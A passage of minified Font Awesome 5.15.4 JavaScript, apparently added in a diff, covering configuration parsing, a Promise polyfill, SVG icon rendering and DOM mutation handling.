"data-replacement-class", "replacementClass" ], [ "data-auto-replace-svg", "autoReplaceSvg" ], [ "data-auto-add-css", "autoAddCss" ], [ "data-auto-a11y", "autoA11y" ], [ "data-search-pseudo-elements", "searchPseudoElements" ], [ "data-observe-mutations", "observeMutations" ], [ "data-mutate-approach", "mutateApproach" ], [ "data-keep-original-source", "keepOriginalSource" ], [ "data-measure-performance", "measurePerformance" ], [ "data-show-missing-icons", "showMissingIcons" ] ].forEach(function(c) { + var l, h = H(c, 2), a = h[0], z = h[1], v = "" === (l = function(c) { + var l = C.querySelector("script[" + c + "]"); + if (l) return l.getAttribute(c); + }(a)) || "false" !== l && ("true" === l || l); + null != v && (T[z] = v); + }); + } + var R = $({}, { + familyPrefix: i, + replacementClass: L, + autoReplaceSvg: !0, + autoAddCss: !0, + autoA11y: !0, + searchPseudoElements: !1, + observeMutations: !0, + mutateApproach: "async", + keepOriginalSource: !0, + measurePerformance: !1, + showMissingIcons: !0 + }, T); + R.autoReplaceSvg || (R.observeMutations = !1); + var lc = $({}, R); + o.FontAwesomeConfig = lc; + var D = o || {}; + D[V] || (D[V] = {}), D[V].styles || (D[V].styles = {}), D[V].hooks || (D[V].hooks = {}), + D[V].shims || (D[V].shims = []); + var F = D[V], Y = [], X = !1; + function B(c) { + r && (X ? setTimeout(c, 0) : Y.push(c)); + } + r && ((X = (C.documentElement.doScroll ? /^loaded|^c/ : /^loaded|^i|^c/).test(C.readyState)) || C.addEventListener("DOMContentLoaded", function c() { + C.removeEventListener("DOMContentLoaded", c), X = 1, Y.map(function(c) { + return c(); + }); + })); + var W, U = "pending", Q = "settled", G = "fulfilled", K = "rejected", J = function() {}, hc = "undefined" != typeof global && void 0 !== global.process && "function" == typeof global.process.emit, ac = "undefined" == typeof setImmediate ? setTimeout : setImmediate, zc = []; + function vc() { + for (var c = 0; c < zc.length; c++) zc[c][0](zc[c][1]); + W = !(zc = []); + } + function mc(c, l) { + zc.push([ c, l ]), W || (W = !0, ac(vc, 0)); + } + function ec(c) { + var l = c.owner, h = l._state, a = l._data, z = c[h], v = c.then; + if ("function" == typeof z) { + h = G; + try { + a = z(a); + } catch (c) { + nc(v, c); + } + } + sc(v, a) || (h === G && tc(v, a), h === K && nc(v, a)); + } + function sc(l, h) { + var a; + try { + if (l === h) throw new TypeError("A promises callback cannot return that same promise."); + if (h && ("function" == typeof h || "object" === z(h))) { + var c = h.then; + if ("function" == typeof c) return c.call(h, function(c) { + a || (a = !0, h === c ? Mc(l, c) : tc(l, c)); + }, function(c) { + a || (a = !0, nc(l, c)); + }), !0; + } + } catch (c) { + return a || nc(l, c), !0; + } + return !1; + } + function tc(c, l) { + c !== l && sc(c, l) || Mc(c, l); + } + function Mc(c, l) { + c._state === U && (c._state = Q, c._data = l, mc(rc, c)); + } + function nc(c, l) { + c._state === U && (c._state = Q, c._data = l, mc(Hc, c)); + } + function fc(c) { + c._then = c._then.forEach(ec); + } + function rc(c) { + c._state = G, fc(c); + } + function Hc(c) { + c._state = K, fc(c), !c._handled && hc && global.process.emit("unhandledRejection", c._data, c); + } + function Vc(c) { + global.process.emit("rejectionHandled", c); + } + function ic(c) { + if ("function" != typeof c) throw new TypeError("Promise resolver " + c + " is not a function"); + if (this instanceof ic == !1) throw new TypeError("Failed to construct 'Promise': Please use the 'new' operator, this object constructor cannot be called as a function."); + this._then = [], function(c, l) { + function h(c) { + nc(l, c); + } + try { + c(function(c) { + tc(l, c); + }, h); + } catch (c) { + h(c); + } + }(c, this); + } + ic.prototype = { + constructor: ic, + _state: U, + _then: null, + _data: void 0, + _handled: !1, + then: function(c, l) { + var h = { + owner: this, + then: new this.constructor(J), + fulfilled: c, + rejected: l + }; + return !l && !c || this._handled || (this._handled = !0, this._state === K && hc && mc(Vc, this)), + this._state === G || this._state === K ? mc(ec, h) : this._then.push(h), h.then; + }, + catch: function(c) { + return this.then(null, c); + } + }, ic.all = function(e) { + if (!Array.isArray(e)) throw new TypeError("You must pass an array to Promise.all()."); + return new ic(function(h, c) { + var a = [], z = 0; + function l(l) { + return z++, function(c) { + a[l] = c, --z || h(a); + }; + } + for (var v, m = 0; m < e.length; m++) (v = e[m]) && "function" == typeof v.then ? v.then(l(m), c) : a[m] = v; + z || h(a); + }); + }, ic.race = function(z) { + if (!Array.isArray(z)) throw new TypeError("You must pass an array to Promise.race()."); + return new ic(function(c, l) { + for (var h, a = 0; a < z.length; a++) (h = z[a]) && "function" == typeof h.then ? h.then(c, l) : c(h); + }); + }, ic.resolve = function(l) { + return l && "object" === z(l) && l.constructor === ic ? l : new ic(function(c) { + c(l); + }); + }, ic.reject = function(h) { + return new ic(function(c, l) { + l(h); + }); + }; + var oc = "function" == typeof Promise ? Promise : ic, Cc = b, Lc = { + size: 16, + x: 0, + y: 0, + rotate: 0, + flipX: !1, + flipY: !1 + }; + function dc(c) { + if (c && r) { + var l = C.createElement("style"); + l.setAttribute("type", "text/css"), l.innerHTML = c; + for (var h = C.head.childNodes, a = null, z = h.length - 1; -1 < z; z--) { + var v = h[z], m = (v.tagName || "").toUpperCase(); + -1 < [ "STYLE", "LINK" ].indexOf(m) && (a = v); + } + return C.head.insertBefore(l, a), c; + } + } + var uc = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + function pc() { + for (var c = 12, l = ""; 0 < c--; ) l += uc[62 * Math.random() | 0]; + return l; + } + function bc(c) { + for (var l = [], h = (c || []).length >>> 0; h--; ) l[h] = c[h]; + return l; + } + function Ac(c) { + return c.classList ? bc(c.classList) : (c.getAttribute("class") || "").split(" ").filter(function(c) { + return c; + }); + } + function gc(c, l) { + var h, a = l.split("-"), z = a[0], v = a.slice(1).join("-"); + return z !== c || "" === v || (h = v, ~I.indexOf(h)) ? null : v; + } + function Sc(c) { + return "".concat(c).replace(/&/g, "&").replace(/"/g, """).replace(/'/g, "'").replace(/</g, "<").replace(/>/g, ">"); + } + function yc(h) { + return Object.keys(h || {}).reduce(function(c, l) { + return c + "".concat(l, ": ").concat(h[l], ";"); + }, ""); + } + function wc(c) { + return c.size !== Lc.size || c.x !== Lc.x || c.y !== Lc.y || c.rotate !== Lc.rotate || c.flipX || c.flipY; + } + function Zc(c) { + var l = c.transform, h = c.containerWidth, a = c.iconWidth, z = { + transform: "translate(".concat(h / 2, " 256)") + }, v = "translate(".concat(32 * l.x, ", ").concat(32 * l.y, ") "), m = "scale(".concat(l.size / 16 * (l.flipX ? -1 : 1), ", ").concat(l.size / 16 * (l.flipY ? -1 : 1), ") "), e = "rotate(".concat(l.rotate, " 0 0)"); + return { + outer: z, + inner: { + transform: "".concat(v, " ").concat(m, " ").concat(e) + }, + path: { + transform: "translate(".concat(a / 2 * -1, " -256)") + } + }; + } + var kc = { + x: 0, + y: 0, + width: "100%", + height: "100%" + }; + function xc(c) { + var l = !(1 < arguments.length && void 0 !== arguments[1]) || arguments[1]; + return c.attributes && (c.attributes.fill || l) && (c.attributes.fill = "black"), + c; + } + function qc(c) { + var l = c.icons, h = l.main, a = l.mask, z = c.prefix, v = c.iconName, m = c.transform, e = c.symbol, s = c.title, t = c.maskId, M = c.titleId, n = c.extra, f = c.watchable, r = void 0 !== f && f, H = a.found ? a : h, V = H.width, i = H.height, o = "fak" === z, C = o ? "" : "fa-w-".concat(Math.ceil(V / i * 16)), L = [ lc.replacementClass, v ? "".concat(lc.familyPrefix, "-").concat(v) : "", C ].filter(function(c) { + return -1 === n.classes.indexOf(c); + }).filter(function(c) { + return "" !== c || !!c; + }).concat(n.classes).join(" "), d = { + children: [], + attributes: $({}, n.attributes, { + "data-prefix": z, + "data-icon": v, + class: L, + role: n.attributes.role || "img", + xmlns: "http://www.w3.org/2000/svg", + viewBox: "0 0 ".concat(V, " ").concat(i) + }) + }, u = o && !~n.classes.indexOf("fa-fw") ? { + width: "".concat(V / i * 16 * .0625, "em") + } : {}; + r && (d.attributes[cc] = ""), s && d.children.push({ + tag: "title", + attributes: { + id: d.attributes["aria-labelledby"] || "title-".concat(M || pc()) + }, + children: [ s ] + }); + var p, b, A, g, S, y, w, Z, k, x, q, O, j, P, E, N, _, I, T, R, D, F, Y, X, B, W, U, Q = $({}, d, { + prefix: z, + iconName: v, + main: h, + mask: a, + maskId: t, + transform: m, + symbol: e, + styles: $({}, u, n.styles) + }), G = a.found && h.found ? (A = (p = Q).children, g = p.attributes, S = p.main, + y = p.mask, w = p.maskId, Z = p.transform, k = S.width, x = S.icon, q = y.width, + O = y.icon, j = Zc({ + transform: Z, + containerWidth: q, + iconWidth: k + }), P = { + tag: "rect", + attributes: $({}, kc, { + fill: "white" + }) + }, E = x.children ? { + children: x.children.map(xc) + } : {}, N = { + tag: "g", + attributes: $({}, j.inner), + children: [ xc($({ + tag: x.tag, + attributes: $({}, x.attributes, j.path) + }, E)) ] + }, _ = { + tag: "g", + attributes: $({}, j.outer), + children: [ N ] + }, I = "mask-".concat(w || pc()), T = "clip-".concat(w || pc()), R = { + tag: "mask", + attributes: $({}, kc, { + id: I, + maskUnits: "userSpaceOnUse", + maskContentUnits: "userSpaceOnUse" + }), + children: [ P, _ ] + }, D = { + tag: "defs", + children: [ { + tag: "clipPath", + attributes: { + id: T + }, + children: (b = O, "g" === b.tag ? b.children : [ b ]) + }, R ] + }, A.push(D, { + tag: "rect", + attributes: $({ + fill: "currentColor", + "clip-path": "url(#".concat(T, ")"), + mask: "url(#".concat(I, ")") + }, kc) + }), { + children: A, + attributes: g + }) : function(c) { + var l = c.children, h = c.attributes, a = c.main, z = c.transform, v = yc(c.styles); + if (0 < v.length && (h.style = v), wc(z)) { + var m = Zc({ + transform: z, + containerWidth: a.width, + iconWidth: a.width + }); + l.push({ + tag: "g", + attributes: $({}, m.outer), + children: [ { + tag: "g", + attributes: $({}, m.inner), + children: [ { + tag: a.icon.tag, + children: a.icon.children, + attributes: $({}, a.icon.attributes, m.path) + } ] + } ] + }); + } else l.push(a.icon); + return { + children: l, + attributes: h + }; + }(Q), K = G.children, J = G.attributes; + return Q.children = K, Q.attributes = J, e ? (Y = (F = Q).prefix, X = F.iconName, + B = F.children, W = F.attributes, U = F.symbol, [ { + tag: "svg", + attributes: { + style: "display: none;" + }, + children: [ { + tag: "symbol", + attributes: $({}, W, { + id: !0 === U ? "".concat(Y, "-").concat(lc.familyPrefix, "-").concat(X) : U + }), + children: B + } ] + } ]) : function(c) { + var l = c.children, h = c.main, a = c.mask, z = c.attributes, v = c.styles, m = c.transform; + if (wc(m) && h.found && !a.found) { + var e = h.width / h.height / 2, s = .5; + z.style = yc($({}, v, { + "transform-origin": "".concat(e + m.x / 16, "em ").concat(s + m.y / 16, "em") + })); + } + return [ { + tag: "svg", + attributes: z, + children: l + } ]; + }(Q); + } + function Oc(c) { + var l = c.content, h = c.width, a = c.height, z = c.transform, v = c.title, m = c.extra, e = c.watchable, s = void 0 !== e && e, t = $({}, m.attributes, v ? { + title: v + } : {}, { + class: m.classes.join(" ") + }); + s && (t[cc] = ""); + var M, n, f, r, H, V, i, o, C, L = $({}, m.styles); + wc(z) && (L.transform = (n = (M = { + transform: z, + startCentered: !0, + width: h, + height: a + }).transform, f = M.width, r = void 0 === f ? b : f, H = M.height, V = void 0 === H ? b : H, + i = M.startCentered, C = "", C += (o = void 0 !== i && i) && p ? "translate(".concat(n.x / Cc - r / 2, "em, ").concat(n.y / Cc - V / 2, "em) ") : o ? "translate(calc(-50% + ".concat(n.x / Cc, "em), calc(-50% + ").concat(n.y / Cc, "em)) ") : "translate(".concat(n.x / Cc, "em, ").concat(n.y / Cc, "em) "), + C += "scale(".concat(n.size / Cc * (n.flipX ? -1 : 1), ", ").concat(n.size / Cc * (n.flipY ? -1 : 1), ") "), + C += "rotate(".concat(n.rotate, "deg) ")), L["-webkit-transform"] = L.transform); + var d = yc(L); + 0 < d.length && (t.style = d); + var u = []; + return u.push({ + tag: "span", + attributes: t, + children: [ l ] + }), v && u.push({ + tag: "span", + attributes: { + class: "sr-only" + }, + children: [ v ] + }), u; + } + var jc = function() {}, Pc = lc.measurePerformance && M && M.mark && M.measure ? M : { + mark: jc, + measure: jc + }, Ec = 'FA "5.15.4"', Nc = function(c) { + Pc.mark("".concat(Ec, " ").concat(c, " ends")), Pc.measure("".concat(Ec, " ").concat(c), "".concat(Ec, " ").concat(c, " begins"), "".concat(Ec, " ").concat(c, " ends")); + }, _c = { + begin: function(c) { + return Pc.mark("".concat(Ec, " ").concat(c, " begins")), function() { + return Nc(c); + }; + }, + end: Nc + }, Ic = function(c, l, h, a) { + var z, v, m, e, s, t = Object.keys(c), M = t.length, n = void 0 !== a ? (e = l, + s = a, function(c, l, h, a) { + return e.call(s, c, l, h, a); + }) : l; + for (m = void 0 === h ? (z = 1, c[t[0]]) : (z = 0, h); z < M; z++) m = n(m, c[v = t[z]], v, c); + return m; + }; + function Tc(c) { + for (var l = "", h = 0; h < c.length; h++) { + l += ("000" + c.charCodeAt(h).toString(16)).slice(-4); + } + return l; + } + var Rc = F.styles, Dc = F.shims, Fc = {}, Yc = {}, Xc = {}, Bc = function() { + var c = function(a) { + return Ic(Rc, function(c, l, h) { + return c[h] = Ic(l, a, {}), c; + }, {}); + }; + Fc = c(function(c, l, h) { + return l[3] && (c[l[3]] = h), c; + }), Yc = c(function(l, c, h) { + var a = c[2]; + return l[h] = h, a.forEach(function(c) { + l[c] = h; + }), l; + }); + var v = "far" in Rc; + Xc = Ic(Dc, function(c, l) { + var h = l[0], a = l[1], z = l[2]; + return "far" !== a || v || (a = "fas"), c[h] = { + prefix: a, + iconName: z + }, c; + }, {}); + }; + function Wc(c, l) { + return (Fc[c] || {})[l]; + } + Bc(); + var Uc = F.styles, Qc = function() { + return { + prefix: null, + iconName: null, + rest: [] + }; + }; + function Gc(c) { + return c.reduce(function(c, l) { + var h = gc(lc.familyPrefix, l); + if (Uc[l]) c.prefix = l; else if (lc.autoFetchSvg && -1 < Object.keys(k).indexOf(l)) c.prefix = l; else if (h) { + var a = "fa" === c.prefix ? Xc[h] || { + prefix: null, + iconName: null + } : {}; + c.iconName = a.iconName || h, c.prefix = a.prefix || c.prefix; + } else l !== lc.replacementClass && 0 !== l.indexOf("fa-w-") && c.rest.push(l); + return c; + }, Qc()); + } + function Kc(c, l, h) { + if (c && c[l] && c[l][h]) return { + prefix: l, + iconName: h, + icon: c[l][h] + }; + } + function Jc(c) { + var h, l = c.tag, a = c.attributes, z = void 0 === a ? {} : a, v = c.children, m = void 0 === v ? [] : v; + return "string" == typeof c ? Sc(c) : "<".concat(l, " ").concat((h = z, Object.keys(h || {}).reduce(function(c, l) { + return c + "".concat(l, '="').concat(Sc(h[l]), '" '); + }, "").trim()), ">").concat(m.map(Jc).join(""), "</").concat(l, ">"); + } + var $c = function() {}; + function cl(c) { + return "string" == typeof (c.getAttribute ? c.getAttribute(cc) : null); + } + var ll = { + replace: function(c) { + var l = c[0], h = c[1].map(function(c) { + return Jc(c); + }).join("\n"); + if (l.parentNode && l.outerHTML) l.outerHTML = h + (lc.keepOriginalSource && "svg" !== l.tagName.toLowerCase() ? "\x3c!-- ".concat(l.outerHTML, " Font Awesome fontawesome.com --\x3e") : ""); else if (l.parentNode) { + var a = document.createElement("span"); + l.parentNode.replaceChild(a, l), a.outerHTML = h; + } + }, + nest: function(c) { + var l = c[0], h = c[1]; + if (~Ac(l).indexOf(lc.replacementClass)) return ll.replace(c); + var a = new RegExp("".concat(lc.familyPrefix, "-.*")); + delete h[0].attributes.style, delete h[0].attributes.id; + var z = h[0].attributes.class.split(" ").reduce(function(c, l) { + return l === lc.replacementClass || l.match(a) ? c.toSvg.push(l) : c.toNode.push(l), + c; + }, { + toNode: [], + toSvg: [] + }); + h[0].attributes.class = z.toSvg.join(" "); + var v = h.map(function(c) { + return Jc(c); + }).join("\n"); + l.setAttribute("class", z.toNode.join(" ")), l.setAttribute(cc, ""), l.innerHTML = v; + } + }; + function hl(c) { + c(); + } + function al(h, c) { + var a = "function" == typeof c ? c : $c; + if (0 === h.length) a(); else { + var l = hl; + lc.mutateApproach === y && (l = o.requestAnimationFrame || hl), l(function() { + var c = !0 === lc.autoReplaceSvg ? ll.replace : ll[lc.autoReplaceSvg] || ll.replace, l = _c.begin("mutate"); + h.map(c), l(), a(); + }); + } + } + var zl = !1; + function vl() { + zl = !1; + } + var ml = null; + function el(c) { + if (t && lc.observeMutations) { + var z = c.treeCallback, v = c.nodeCallback, m = c.pseudoElementsCallback, l = c.observeMutationsRoot, h = void 0 === l ? C : l; + ml = new t(function(c) { + zl || bc(c).forEach(function(c) { + if ("childList" === c.type && 0 < c.addedNodes.length && !cl(c.addedNodes[0]) && (lc.searchPseudoElements && m(c.target), + z(c.target)), "attributes" === c.type && c.target.parentNode && lc.searchPseudoElements && m(c.target.parentNode), + "attributes" === c.type && cl(c.target) && ~N.indexOf(c.attributeName)) if ("class" === c.attributeName) { + var l = Gc(Ac(c.target)), h = l.prefix, a = l.iconName; + h && c.target.setAttribute("data-prefix", h), a && c.target.setAttribute("data-icon", a); + } else v(c.target); + }); + }), r && ml.observe(h, { + childList: !0, + attributes: !0, + characterData: !0, + subtree: !0 + }); + } + } + function sl(c) { + var l, h, a = c.getAttribute("data-prefix"), z = c.getAttribute("data-icon"), v = void 0 !== c.innerText ? c.innerText.trim() : "", m = Gc(Ac(c)); + return a && z && (m.prefix = a, m.iconName = z), m.prefix && 1 < v.length ? m.iconName = (l = m.prefix, + h = c.innerText, (Yc[l] || {})[h]) : m.prefix && 1 === v.length && (m.iconName = Wc(m.prefix, Tc(c.innerText))), + m; + } + var tl = function(c) { + var l = { + size: 16, + x: 0, + y: 0, + flipX: !1, + flipY: !1, + rotate: 0 + }; + return c ? c.toLowerCase().split(" ").reduce(function(c, l) { + var h = l.toLowerCase().split("-"), a = h[0], z = h.slice(1).join("-"); + if (a && "h" === z) return c.flipX = !0, c; + if (a && "v" === z) return c.flipY = !0, c; + if (z = parseFloat(z), isNaN(z)) return c; + switch (a) { + case "grow": + c.size = c.size + z; + break; + + case "shrink": + c.size = c.size - z; + break; + + case "left": + c.x = c.x - z; + break; + + case "right": + c.x = c.x + z; + break; + + case "up": + c.y = c.y - z; + break; + + case "down": + c.y = c.y + z; + break; + + case "rotate": + c.rotate = c.rotate + z; + } + return c; + }, l) : l; + }; + function Ml(c) { + var l, h, a, z, v, m, e, s, t = sl(c), M = t.iconName, n = t.prefix, f = t.rest, r = (l = c.getAttribute("style"), + h = [], l && (h = l.split(";").reduce(function(c, l) { + var h = l.split(":"), a = h[0], z = h.slice(1); + return a && 0 < z.length && (c[a] = z.join(":").trim()), c; + }, {})), h), H = tl(c.getAttribute("data-fa-transform")), V = null !== (a = c.getAttribute("data-fa-symbol")) && ("" === a || a), i = (v = bc((z = c).attributes).reduce(function(c, l) { + return "class" !== c.name && "style" !== c.name && (c[l.name] = l.value), c; + }, {}), m = z.getAttribute("title"), e = z.getAttribute("data-fa-title-id"), lc.autoA11y && (m ? v["aria-labelledby"] = "".concat(lc.replacementClass, "-title-").concat(e || pc()) : (v["aria-hidden"] = "true", + v.focusable = "false")), v), o = (s = c.getAttribute("data-fa-mask")) ? Gc(s.split(" ").map(function(c) { + return c.trim(); + })) : Qc(); + return { + iconName: M, + title: c.getAttribute("title"), + titleId: c.getAttribute("data-fa-title-id"), + prefix: n, + transform: H, + symbol: V, + mask: o, + maskId: c.getAttribute("data-fa-mask-id"), + extra: { + classes: f, + styles: r, + attributes: i + } + }; + } + function nl(c) { + this.name = "MissingIcon", this.message = c || "Icon unavailable", this.stack = new Error().stack; + } + (nl.prototype = Object.create(Error.prototype)).constructor = nl; + var fl = { + fill: "currentColor" + }, rl = { + attributeType: "XML", + repeatCount: "indefinite", + dur: "2s" + }, Hl = { + tag: "path", + attributes: $({}, fl, { + d: "M156.5,447.7l-12.6,29.5c-18.7-9.5-35.9-21.2-51.5-34.9l22.7-22.7C127.6,430.5,141.5,440,156.5,447.7z M40.6,272H8.5 c1.4,21.2,5.4,41.7,11.7,61.1L50,321.2C45.1,305.5,41.8,289,40.6,272z M40.6,240c1.4-18.8,5.2-37,11.1-54.1l-29.5-12.6 C14.7,194.3,10,216.7,8.5,240H40.6z M64.3,156.5c7.8-14.9,17.2-28.8,28.1-41.5L69.7,92.3c-13.7,15.6-25.5,32.8-34.9,51.5 L64.3,156.5z M397,419.6c-13.9,12-29.4,22.3-46.1,30.4l11.9,29.8c20.7-9.9,39.8-22.6,56.9-37.6L397,419.6z M115,92.4 c13.9-12,29.4-22.3,46.1-30.4l-11.9-29.8c-20.7,9.9-39.8,22.6-56.8,37.6L115,92.4z M447.7,355.5c-7.8,14.9-17.2,28.8-28.1,41.5 l22.7,22.7c13.7-15.6,25.5-32.9,34.9-51.5L447.7,355.5z M471.4,272c-1.4,18.8-5.2,37-11.1,54.1l29.5,12.6 c7.5-21.1,12.2-43.5,13.6-66.8H471.4z M321.2,462c-15.7,5-32.2,8.2-49.2,9.4v32.1c21.2-1.4,41.7-5.4,61.1-11.7L321.2,462z M240,471.4c-18.8-1.4-37-5.2-54.1-11.1l-12.6,29.5c21.1,7.5,43.5,12.2,66.8,13.6V471.4z M462,190.8c5,15.7,8.2,32.2,9.4,49.2h32.1 c-1.4-21.2-5.4-41.7-11.7-61.1L462,190.8z M92.4,397c-12-13.9-22.3-29.4-30.4-46.1l-29.8,11.9c9.9,20.7,22.6,39.8,37.6,56.9 L92.4,397z M272,40.6c18.8,1.4,36.9,5.2,54.1,11.1l12.6-29.5C317.7,14.7,295.3,10,272,8.5V40.6z M190.8,50 c15.7-5,32.2-8.2,49.2-9.4V8.5c-21.2,1.4-41.7,5.4-61.1,11.7L190.8,50z M442.3,92.3L419.6,115c12,13.9,22.3,29.4,30.5,46.1 l29.8-11.9C470,128.5,457.3,109.4,442.3,92.3z M397,92.4l22.7-22.7c-15.6-13.7-32.8-25.5-51.5-34.9l-12.6,29.5 C370.4,72.1,384.4,81.5,397,92.4z" + }) + }, Vl = $({}, rl, { + attributeName: "opacity" + }), il = { + tag: "g", + children: [ Hl, { + tag: "circle", + attributes: $({}, fl, { + cx: "256", + cy: "364", + r: "28" + }), + children: [ { + tag: "animate", + attributes: $({}, rl, { + attributeName: "r", + values: "28;14;28;28;14;28;" + }) + }, { + tag: "animate", + attributes: $({}, Vl, { + values: "1;0;1;1;0;1;" + }) + } ] + }, { + tag: "path", + attributes: $({}, fl, { + opacity: "1", + d: "M263.7,312h-16c-6.6,0-12-5.4-12-12c0-71,77.4-63.9,77.4-107.8c0-20-17.8-40.2-57.4-40.2c-29.1,0-44.3,9.6-59.2,28.7 c-3.9,5-11.1,6-16.2,2.4l-13.1-9.2c-5.6-3.9-6.9-11.8-2.6-17.2c21.2-27.2,46.4-44.7,91.2-44.7c52.3,0,97.4,29.8,97.4,80.2 c0,67.6-77.4,63.5-77.4,107.8C275.7,306.6,270.3,312,263.7,312z" + }), + children: [ { + tag: "animate", + attributes: $({}, Vl, { + values: "1;0;0;0;0;1;" + }) + } ] + }, { + tag: "path", + attributes: $({}, fl, { + opacity: "0", + d: "M232.5,134.5l7,168c0.3,6.4,5.6,11.5,12,11.5h9c6.4,0,11.7-5.1,12-11.5l7-168c0.3-6.8-5.2-12.5-12-12.5h-23 C237.7,122,232.2,127.7,232.5,134.5z" + }), + children: [ { + tag: "animate", + attributes: $({}, Vl, { + values: "0;0;1;1;0;0;" + }) + } ] + } ] + }, ol = F.styles; + function Cl(c) { + var l = c[0], h = c[1], a = H(c.slice(4), 1)[0]; + return { + found: !0, + width: l, + height: h, + icon: Array.isArray(a) ? { + tag: "g", + attributes: { + class: "".concat(lc.familyPrefix, "-").concat(_.GROUP) + }, + children: [ { + tag: "path", + attributes: { + class: "".concat(lc.familyPrefix, "-").concat(_.SECONDARY), + fill: "currentColor", + d: a[0] + } + }, { + tag: "path", + attributes: { + class: "".concat(lc.familyPrefix, "-").concat(_.PRIMARY), + fill: "currentColor", + d: a[1] + } + } ] + } : { + tag: "path", + attributes: { + fill: "currentColor", + d: a + } + } + }; + } + function Ll(a, z) { + return new oc(function(c, l) { + var h = { + found: !1, + width: 512, + height: 512, + icon: il + }; + if (a && z && ol[z] && ol[z][a]) return c(Cl(ol[z][a])); + a && z && !lc.showMissingIcons ? l(new nl("Icon is missing for prefix ".concat(z, " with icon name ").concat(a))) : c(h); + }); + } + var dl = F.styles; + function ul(c) { + var v, l, m, e, s, t, M, n, h, f, r, a = Ml(c); + return ~a.extra.classes.indexOf(q) ? function(c, l) { + var h = l.title, a = l.transform, z = l.extra, v = null, m = null; + if (p) { + var e = parseInt(getComputedStyle(c).fontSize, 10), s = c.getBoundingClientRect(); + v = s.width / e, m = s.height / e; + } + return lc.autoA11y && !h && (z.attributes["aria-hidden"] = "true"), oc.resolve([ c, Oc({ + content: c.innerHTML, + width: v, + height: m, + transform: a, + title: h, + extra: z, + watchable: !0 + }) ]); + }(c, a) : (v = c, m = (l = a).iconName, e = l.title, s = l.titleId, t = l.prefix, + M = l.transform, n = l.symbol, h = l.mask, f = l.maskId, r = l.extra, new oc(function(z, c) { + oc.all([ Ll(m, t), Ll(h.iconName, h.prefix) ]).then(function(c) { + var l = H(c, 2), h = l[0], a = l[1]; + z([ v, qc({ + icons: { + main: h, + mask: a + }, + prefix: t, + iconName: m, + transform: M, + symbol: n, + mask: a, + maskId: f, + title: e, + titleId: s, + extra: r, + watchable: !0 + }) ]); + }); + })); + } + function pl(c) { + var h = 1 < arguments.length && void 0 !== arguments[1] ? arguments[1] : null; + if (r) { + var l = C.documentElement.classList, a = function(c) { + return l.add("".concat(S, "-").concat(c)); + }, z = function(c) { + return l.remove("".concat(S, "-").concat(c)); + }, v = lc.autoFetchSvg ? Object.keys(k) : Object.keys(dl), m = [ ".".concat(q, ":not([").concat(cc, "])") ].concat(v.map(function(c) { + return ".".concat(c, ":not([").concat(cc, "])"); + })).join(", "); + if (0 !== m.length) { + var e = []; + try { + e = bc(c.querySelectorAll(m)); + } catch (c) {} + if (0 < e.length) { + a("pending"), z("complete"); + var s = _c.begin("onTree"), t = e.reduce(function(c, l) { + try { + var h = ul(l); + h && c.push(h); + } catch (c) { + Z || c instanceof nl && console.error(c); + } + return c; + }, []); + return new oc(function(l, c) { + oc.all(t).then(function(c) { + al(c, function() { + a("active"), a("complete"), z("pending"), "function" == typeof h && h(), s(), l(); + }); + }).catch(function() { + s(), c(); + }); + }); + } + } + } + } + function bl(c) { + var l = 1 < arguments.length && void 0 !== arguments[1] ? arguments[1] : null; + ul(c).then(function(c) { + c && al([ c ], l); + }); + } + function Al(H, V) { + var i = "".concat(u).concat(V.replace(":", "-")); + return new oc(function(a, c) { + if (null !== H.getAttribute(i)) return a(); + var l = bc(H.children).filter(function(c) { + return c.getAttribute(d) === V; + })[0], h = o.getComputedStyle(H, V), z = h.getPropertyValue("font-family").match(O), v = h.getPropertyValue("font-weight"), m = h.getPropertyValue("content"); + if (l && !z) return H.removeChild(l), a(); + if (z && "none" !== m && "" !== m) { + var e = h.getPropertyValue("content"), s = ~[ "Solid", "Regular", "Light", "Duotone", "Brands", "Kit" ].indexOf(z[2]) ? x[z[2].toLowerCase()] : j[v], t = Tc(3 === e.length ? e.substr(1, 1) : e), M = Wc(s, t), n = M; + if (!M || l && l.getAttribute(A) === s && l.getAttribute(g) === n) a(); else { + H.setAttribute(i, n), l && H.removeChild(l); + var f = { + iconName: null, + title: null, + titleId: null, + prefix: null, + transform: Lc, + symbol: !1, + mask: null, + maskId: null, + extra: { + classes: [], + styles: {}, + attributes: {} + } + }, r = f.extra; + r.attributes[d] = V, Ll(M, s).then(function(c) { + var l = qc($({}, f, { + icons: { + main: c, + mask: Qc() + }, + prefix: s, + iconName: n, + extra: r, + watchable: !0 + })), h = C.createElement("svg"); + ":before" === V ? H.insertBefore(h, H.firstChild) : H.appendChild(h), h.outerHTML = l.map(function(c) { + return Jc(c); + }).join("\n"), H.removeAttribute(i), a(); + }).catch(c); + } + } else a(); + }); + } + function gl(c) { + return oc.all([ Al(c, ":before"), Al(c, ":after") ]); + } + function Sl(c) { + return !(c.parentNode === document.head || ~w.indexOf(c.tagName.toUpperCase()) || c.getAttribute(d) || c.parentNode && "svg" === c.parentNode.tagName); + } + function yl(z) { + if (r) return new oc(function(c, l) { + var h = bc(z.querySelectorAll("*")).filter(Sl).map(gl), a = _c.begin("searchPseudoElements"); + zl = !0, oc.all(h).then(function() { + a(), vl(), c(); + }).catch(function() { + a(), vl(), l(); + }); + }); + } + var wl = 'svg:not(:root).svg-inline--fa {\n overflow: visible;\n}\n\n.svg-inline--fa {\n display: inline-block;\n font-size: inherit;\n height: 1em;\n overflow: visible;\n vertical-align: -0.125em;\n}\n.svg-inline--fa.fa-lg {\n vertical-align: -0.225em;\n}\n.svg-inline--fa.fa-w-1 {\n width: 0.0625em;\n}\n.svg-inline--fa.fa-w-2 {\n width: 0.125em;\n}\n.svg-inline--fa.fa-w-3 {\n width: 0.1875em;\n}\n.svg-inline--fa.fa-w-4 {\n width: 0.25em;\n}\n.svg-inline--fa.fa-w-5 {\n width: 0.3125em;\n}\n.svg-inline--fa.fa-w-6 {\n width: 0.375em;\n}\n.svg-inline--fa.fa-w-7 {\n width: 0.4375em;\n}\n.svg-inline--fa.fa-w-8 {\n width: 0.5em;\n}\n.svg-inline--fa.fa-w-9 {\n width: 0.5625em;\n}\n.svg-inline--fa.fa-w-10 {\n width: 0.625em;\n}\n.svg-inline--fa.fa-w-11 {\n width: 0.6875em;\n}\n.svg-inline--fa.fa-w-12 {\n width: 0.75em;\n}\n.svg-inline--fa.fa-w-13 {\n width: 0.8125em;\n}\n.svg-inline--fa.fa-w-14 {\n width: 0.875em;\n}\n.svg-inline--fa.fa-w-15 {\n width: 